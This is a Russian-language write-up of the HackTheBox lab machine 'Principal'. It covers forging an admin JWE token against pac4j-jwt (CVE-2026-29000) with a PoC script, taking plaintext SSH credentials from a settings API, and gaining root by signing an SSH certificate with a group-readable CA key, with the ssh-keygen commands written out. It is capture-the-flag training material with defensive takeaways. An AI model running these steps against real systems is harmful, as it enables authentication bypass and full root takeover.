HackTheBox — Principal

Сложность: Средняя ОС: Linux Платформа: HackTheBox

Обзор

Веб-приложение, использующее pac4j-jwt v6.0.3 — уязвимо к CVE-2026-29000. Открытый RSA-ключ доступен без аутентификации через JWKS-эндпоинт и может быть использован для подделки действительного административного JWE-токена, полностью обходя аутентификацию. Имея доступ администратора, из API настроек извлекаются SSH-учётные данные в открытом виде. Сервисная учётная запись является членом группы deployers с правом чтения закрытого ключа SSH CA, которому доверяет sshd — подпись сертификата, предоставляющего root-доступ, завершает прохождение машины.

1. Разведка

Перешёл к веб-приложению и просмотрел исходный код страницы. Нашёл основной JavaScript-бандл по адресу /static/js/app.js.

Ключевые API-эндпоинты, обнаруженные внутри app.js:

/api/auth/login
/api/auth/jwks      <- эндпоинт открытого ключа (без аутентификации)
/api/dashboard
/api/users
/api/settings

В нижнем колонтитуле страницы обнаружено: pac4j-jwt v6.0.3 — уязвим к CVE-2026-29000.

2. Обход JWT-аутентификации — CVE-2026-29000

Получил открытый RSA-ключ с JWKS-эндпоинта без аутентификации:

curl http://<TARGET_IP>:8080/api/auth/jwks
# Возвращает открытый RSA-ключ (kid: enc-key-1)

CVE-2026-29000 позволяет использовать открытый ключ для подделки действительного JWE-токена — библиотека ошибочно принимает токены, зашифрованные открытым ключом, вместо требования закрытого ключа.

Использовал PoC для генерации поддельного административного токена:

python3 poc.py \
  --jwks http://<TARGET_IP>:8080/api/auth/jwks \
  --user admin \
  --role ROLE_ADMIN

3. Доступ к API администратора

Использовал поддельный токен как Bearer-токен в Burp Repeater:

Authorization: Bearer <forged_token>

GET /api/dashboard → 200 OK

• Подтверждена роль: ROLE_ADMIN
• Журнал активности показал действия CERT_ISSUED для пользователя: svc-deploy

GET /api/settings → 200 OK

• SSH-учётные данные найдены в открытом виде в конфигурации безопасности
• Включена аутентификация по SSH-сертификатам
• Путь к SSH CA: /opt/principal/ssh/

4. Первоначальный доступ

Подключился по SSH, используя учётные данные, полученные из /api/settings:

ssh svc-deploy@<TARGET_IP>

Получен пользовательский флаг.

5. Повышение привилегий — подпись SSH CA

svc-deploy состоит в группе deployers с правом чтения /opt/principal/ssh/:

ls -la /opt/principal/ssh/
# ca        — закрытый ключ RSA 4096-бит CA (читаемый группой deployers)
# ca.pub    — открытый ключ CA
# README.txt — подтверждает, что CA доверен sshd

Закрытый ключ CA доступен для чтения. Поскольку sshd доверяет этому CA, любой сертификат, подписанный им, принимается — включая сертификат, предоставляющий root-доступ.

# Генерация новой пары ключей
ssh-keygen -t ed25519 -f /tmp/privesc

# Подпись с помощью CA, предоставляющая principal 'root'
ssh-keygen -s /opt/principal/ssh/ca -I pwned -n root -V +1h /tmp/privesc.pub

# SSH как root
ssh -i /tmp/privesc root@<TARGET_IP>

Получен root-флаг.

Флаги

• User: /home/svc-deploy/user.txt
• Root: /root/root.txt

Ключевые выводы

• Всегда проверяйте версии JWT-библиотек во время разведки веб-приложений — pac4j-jwt распространён в Java-приложениях.
• CVE-2026-29000: путаница ключей JWE в pac4j — открытый ключ принимается там, где требуется закрытый.
• Эндпоинты настроек API часто раскрывают учётные данные в открытом виде — всегда перечисляйте все аутентифицированные маршруты, как только получите действительный токен.
• Если сервисная учётная запись может прочитать закрытый ключ SSH CA, которому доверяет sshd, вы можете подписать сертификат для любого principal, включая root. Проверяйте членство в группах и права на ключи CA во время пост-эксплуатации.